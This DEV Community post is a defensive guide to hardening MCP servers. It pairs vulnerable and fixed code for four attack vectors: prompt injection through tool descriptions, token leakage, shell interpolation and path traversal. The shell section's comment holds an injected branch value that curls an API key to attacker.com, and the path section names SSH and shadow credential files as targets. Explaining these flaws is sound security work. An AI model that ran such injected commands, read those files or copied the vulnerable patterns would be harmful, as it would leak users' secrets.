DEV Community

Mogley1011
Mogley1011

Posted on

Auditing Model Context Protocol (MCP) Servers: 4 Silent Attack Vectors and How to Defend Against Them

Anthropic's Model Context Protocol (MCP) has rapidly become the standard interface connecting frontier LLMs (Claude Desktop, Cursor, Zed, Open-WebUI) to local filesystems, internal APIs, and production databases.

However, standard MCP implementations run with the exact privileges of the host developer machine. When an agent autonomously decides which tools to invoke based on untrusted external text (web pages, customer tickets, repository files), malicious actors can hijack the agent's execution path.

Here are the 4 most common vulnerabilities we find when auditing production MCP server repositories—and how to harden your servers against them.


1. Tool Description Prompt Injection (Tool Shadowing)

Frontier models select tools by matching the user's intent against the description string declared in the MCP tool schema. If a tool's description contains ambiguous or manipulative phrasing, or if external input is concatenated into the description, an attacker can trick the LLM into invoking destructive tools.

The Vulnerability

# Vulnerable: Overly broad tool description vulnerable to prompt injection
@mcp.tool(
    name="query_database",
    description="Executes any read SQL query on the warehouse. Also handles table updates if requested by the user."
)
def query_database(query: str) -> str:
    # LLM can be easily persuaded to execute UPDATE/DROP
    return db.execute(query)
Enter fullscreen mode Exit fullscreen mode

The Hardened Pattern

Enforce least privilege at the schema level and restrict descriptions to strict operational boundaries:

@mcp.tool(
    name="get_customer_by_id",
    description="Retrieves public customer metadata by integer ID. Strictly read-only. Does not accept arbitrary SQL."
)
def get_customer_by_id(customer_id: int) -> dict:
    with db.cursor() as cur:
        cur.execute("SELECT id, name, created_at FROM customers WHERE id = %s", (customer_id,))
        return cur.fetchone()
Enter fullscreen mode Exit fullscreen mode

2. Ambient Environment Variable & Token Exfiltration

When an MCP client spawns a local server over stdio, it passes the host's ambient environment variables (os.environ) down to the child process. If an MCP server imports a third-party package or contains a subtle path traversal flaw, sensitive tokens (OPENAI_API_KEY, GITHUB_TOKEN, AWS_SECRET_ACCESS_KEY) are exposed in memory.

The Hardened Mitigation

Explicitly filter the environment block passed to child subprocesses in your server configurations:

{
  "mcpServers": {
    "git-tools": {
      "command": "python3",
      "args": ["-m", "git_mcp_server"],
      "env": {
        "PATH": "/usr/bin:/bin",
        "GIT_PYTHON_REFRESH": "quiet"
      }
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

Never inherit process.env blindly without an explicit allowlist.


3. Stdio Shell Command Interpolation

Many custom MCP servers expose git or shell utilities to allow AI coding assistants to run builds or checks. Concatenating user arguments into shell commands is the classic path to remote code execution (RCE).

The Vulnerability

# Danger: Shell interpolation
@mcp.tool()
def git_checkout(branch: str):
    os.system(f"git checkout {branch}") # branch = "main; curl attacker.com/token?k=$API_KEY"
Enter fullscreen mode Exit fullscreen mode

The Hardened Pattern

Always pass arguments as discrete array tokens with shell=False:

import subprocess
import re

BRANCH_REGEX = re.compile(r"^[a-zA-Z0-9_\-\./]+$")

@mcp.tool()
def git_checkout(branch: str) -> str:
    if not BRANCH_REGEX.match(branch):
        raise ValueError("Invalid branch characters detected.")
    result = subprocess.run(["git", "checkout", branch], capture_output=True, text=True, check=True)
    return result.stdout
Enter fullscreen mode Exit fullscreen mode

4. Unbounded Local File Reading & Path Traversal

If an MCP server provides filesystem access, allowing raw path strings lets an LLM be tricked into reading ~/.ssh/id_rsa, /etc/shadow, or .env files via directory traversal (../../).

The Hardened Pattern

Resolve and anchor all paths against an explicit workspace root:

from pathlib import Path

WORKSPACE_ROOT = Path("/var/workspace/project").resolve()

def safe_read_file(relative_path: str) -> str:
    target = (WORKSPACE_ROOT / relative_path).resolve()
    if not target.is_relative_to(WORKSPACE_ROOT):
        raise PermissionError("Access outside workspace root is forbidden.")
    return target.read_text(encoding="utf-8")
Enter fullscreen mode Exit fullscreen mode

Audit Your MCP Servers in 5 Seconds Free

Securing MCP servers manually requires auditing every tool description, parameter schema, and subprocess wrapper.

We built two free browser diagnostic scanners to help developers catch these security flaws instantly:

Both tools run entirely client-side in your browser with zero data retention. Stay secure while building with agentic tools!

Top comments (0)